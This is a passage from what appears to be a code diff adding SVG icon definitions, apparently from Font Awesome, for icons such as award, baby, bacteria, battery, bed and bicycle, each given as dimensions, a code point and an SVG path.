11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z" ], + award: [ 384, 512, [], "f559", "M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z" ], + baby: [ 384, 512, [], "f77c", "M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z" ], + "baby-carriage": [ 512, 512, [], "f77d", "M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z" ], + backspace: [ 640, 512, [], "f55a", "M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z" ], + backward: [ 512, 512, [], "f04a", "M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z" ], + bacon: [ 576, 512, [], "f7e5", "M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z" ], + bacteria: [ 640, 512, [], "e059", "M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z" ], + bacterium: [ 512, 512, [], "e05a", "M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z" ], + bahai: [ 512, 512, [], "f666", "M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z" ], + "balance-scale": [ 640, 512, [], "f24e", "M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + "balance-scale-left": [ 640, 512, [], "f515", "M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z" ], + "balance-scale-right": [ 640, 512, [], "f516", "M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z" ], + ban: [ 512, 512, [], "f05e", "M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z" ], + "band-aid": [ 640, 512, [], "f462", "M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z" ], + barcode: [ 512, 512, [], "f02a", "M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z" ], + bars: [ 448, 512, [], "f0c9", "M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z" ], + "baseball-ball": [ 496, 512, [], "f433", "M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z" ], + "basketball-ball": [ 496, 512, [], "f434", "M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z" ], + bath: [ 512, 512, [], "f2cd", "M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z" ], + "battery-empty": [ 640, 512, [], "f244", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z" ], + "battery-full": [ 640, 512, [], "f240", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z" ], + "battery-half": [ 640, 512, [], "f242", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z" ], + "battery-quarter": [ 640, 512, [], "f243", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z" ], + "battery-three-quarters": [ 640, 512, [], "f241", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z" ], + bed: [ 640, 512, [], "f236", "M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z" ], + beer: [ 448, 512, [], "f0fc", "M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z" ], + bell: [ 448, 512, [], "f0f3", "M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z" ], + "bell-slash": [ 640, 512, [], "f1f6", "M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z" ], + "bezier-curve": [ 640, 512, [], "f55b", "M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" ], + bible: [ 448, 512, [], "f647", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z" ], + bicycle: [ 640, 512, [], "f206", "M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 